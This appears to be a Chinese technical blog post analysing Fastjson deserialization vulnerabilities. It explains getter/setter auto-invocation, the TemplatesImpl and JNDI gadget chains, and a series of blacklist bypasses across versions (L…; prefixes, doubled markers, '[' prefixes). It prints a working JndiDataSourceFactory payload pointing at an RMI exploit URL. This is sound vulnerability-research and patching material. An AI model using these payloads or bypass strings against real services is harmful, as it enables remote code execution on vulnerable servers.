fastjson是一个由alibaba开源的高性能且功能非常完善的JSON库,解决JSON数据处理的业务问题。应用范围非常广,是国内外流行的反序列化依赖库。截止20181126,Fastjson最新版本是1.2.51。使用老版本的Fastjson可能存在高危安全问题。官方已在1.2.25版本中推出白名单+黑名单两种方式的防御,默认使用白名单,截至目前来说白名单已做到绝对安全。但为了兼容老版本应用,仍然保留了 AutoType 开关,fastjson在新版本中内置了多重防护,但是还是可能会存在一定风险。 所以在开发中应严格控制 AutoType 开关,保持fastjson为最新版本。
首先先了解FastJson正常反序列化的特点。FastJson是自己实现了一套反序列化的机制,并没有使用默认的 readObject() ,在序列化反序列化的时候会进行一些操作,主要是 setter 和 getter 的操作,从而结合一些类的特性造成命令执行。
先创建一个实体类User:
package fastjsontest;
import com.alibaba.fastjson.JSON;
import java.util.Properties;
public class User {
public String name;
private int age;
private Boolean sex;
private Properties prop;
public User(){
System.out.println("User() is called");
}
public void setAge(int age){
System.out.println("setAge() is called");
this.age = age;
}
public Boolean getSex(){
System.out.println("getGrade() is called");
return this.sex;
}
public Properties getProp(){
System.out.println("getProp() is called");
return this.prop;
}
public String toString(){
String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
public static void main(String[] args){
String jsonstr = "{/"@type/":/"fastjsontest.User/", /"name/":/"Tom/", /"age/": 13, /"prop/": {}, /"sex/": 1}";
Object obj = JSON.parseObject(jsonstr, User.class);
System.out.println(obj);
}
}
其中包括:
运行结果
User() is called setAge() is called getProp() is called [User Object] name=Tom, age=13, prop=null, sex=null Process finished with exit code 0
根据结果可以看出:
getter 和 setter 的自动调用中 重点关注后两条, sex 和 prop 都为 private 变量, prop 的 getter 被调用, sex 的没有。这里就涉及FastJson的一个特性,也是下面一个POC构造的关键。
getter 进行调用 getter 没有 setter
Properties 继承于 Hashtable , Hashtable 又继承于 Map ,满足所有条件,因此可被调用。
public Properties getProp() 中用户可输入参数构造存在危险操作的调用链,便可触发任意命令执行漏洞 反序列化的时候私有变量 sex 因为没有 setter 没有被反序列化,如果想要也反序列化怎么办,FastJson提供参数设定 Feature.SupportNonPublicField
测试代码改为:
public static void main(String[] args){
String jsonstr = "{/"@type/":/"fastjsontest.User/", /"name/":/"Tom/", /"age/": 13, /"prop/": {}, /"sex/": 1}";
Object obj = JSON.parseObject(jsonstr, User.class, Feature.SupportNonPublicField);
System.out.println(obj);
}
便可将私有变量进行反序列化。
可以看到,测试代码在反序列化的时候指定了 User.class 类型,正常可控的反序列化的点是不会指定符合我们构造POC要求的类型的,那么不指定类型,或者指定其他类型能不能调用想要的方法呢?
public static void main(String[] args){
String jsonstr = "{/"@type/":/"fastjsontest.User/", /"name/":/"Tom/", /"age/": 13, /"prop/": {}, /"sex/": 1}";
Object obj = JSON.parseObject(jsonstr, Feature.SupportNonPublicField);
System.out.println(obj);
}
Output:
虽然没指定类型,但是也成功调用了相关的方法。
String 和 Integer 等常见类型发现可以成功调用相关方法
public static void main(String[] args){
String jsonstr = "{/"@type/":/"fastjsontest.User/", /"name/":/"Tom/", /"age/": 13, /"prop/": {}, /"sex/": 1}";
Object obj = JSON.parseObject(jsonstr, Integer.class, Feature.SupportNonPublicField);
System.out.println(obj);
}
但是指定的一些其他类型时不能成功调用,如 Runtime
public static void main(String[] args){
String jsonstr = "{/"@type/":/"fastjsontest.User/", /"name/":/"Tom/", /"age/": 13, /"prop/": {}, /"sex/": 1}";
Object obj = JSON.parseObject(jsonstr, Runtime.class, Feature.SupportNonPublicField);
System.out.println(obj);
}
这是因为FastJson内部封装了一部分常用类的类型,是列表里面的会直接进行反序列化,不会进行对比,反序列化完成后会直接进行强制类型转换。
这部分显得有点麻烦,开发在写代码的时候很多时候也不会用 parseObject ,而是 parse 一把梭, parse 相对于 parseObject 便会自动处理这些东西。
官方于2017年3月5号发出安全公告,4月29号流露出相关POC,其中利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类,看 TemplatesImpl 类的 _outputProperties 变量和 getOutputProperties() 函数,完全满足前面说的自动调用的条件。
然后 getOutputProperties() 的后续可以通过类定义的方式执行任意代码,详情请见 defineClass在java反序列化当中的利用
POC构造文章请参考
fastjson 远程反序列化poc的构造和分析
可能会发出的疑问:
_outputProperties 为什么会和 getOutputProperties() 相关联? _bytecodes 进行Base64编码? FastJson 反序列化漏洞利用的三个细节 - TemplatesImpl 利用链
_tfactory 赋值?第一篇文章有讲 _name 赋值?
后面的过程会判断 _name 是否有值。
2017看雪安全开发峰会上有人提出基于 JNDI 构造POC利用:
基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析
该POC利用的是 setter 函数,上面的测试代码可以看出,所有的 setter 函数被调用,所以 基于 JNDI 的利用相对于前者基本没有任何局限,直接 JSON.parse(input) 便可造成漏洞
造成命令执行:
默认开启白名单,白名单关闭时黑名单才生效,后面所有的绕过都是针对于白名单关闭的情况下
方式:
Lcom.sun.rowset.RowSetImpl;
原因:
loadClass 递归去除开头的 L 和结尾的 ; ,并且是在黑名单检测之后。
修复补丁绕过,去除开头的 L 和结尾的 ; ,无用补丁,再次被绕过
黑名单改为hash模式
可通过爬取Maven仓库下所有类,然后正向匹配输出真正的黑名单类。
方式:
LLcom.sun.rowset.RowSetImpl;;
原因:
V1.2.42补丁不生效
出现 LL 开头 ;; 结尾抛出异常然后去除开头的 L 和结尾的 ;
补丁生效
方式:
[com.sun.rowset.RowSetImpl
和 Lcom.sun.rowset.RowSetImpl; 其实是一样的,看前面 loadClass 的代码,不止处理了 Lxxxx; 格式数据,还处理的 [ 开头的数据。当时为什么没有一并修复了,这个POC本人测试时不成功的,因为后面的操作会报错,猜测可能当时也是发现不能利用就没修。
比较暴力,出现相关字符直接抛出异常。
POC:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
原因:
黑名单被绕过
扩大很名单
一直在扩大黑名单,在更多的三方依赖引入的过程中,肯定还会存在被绕过的风险。
可能被绕过的方式: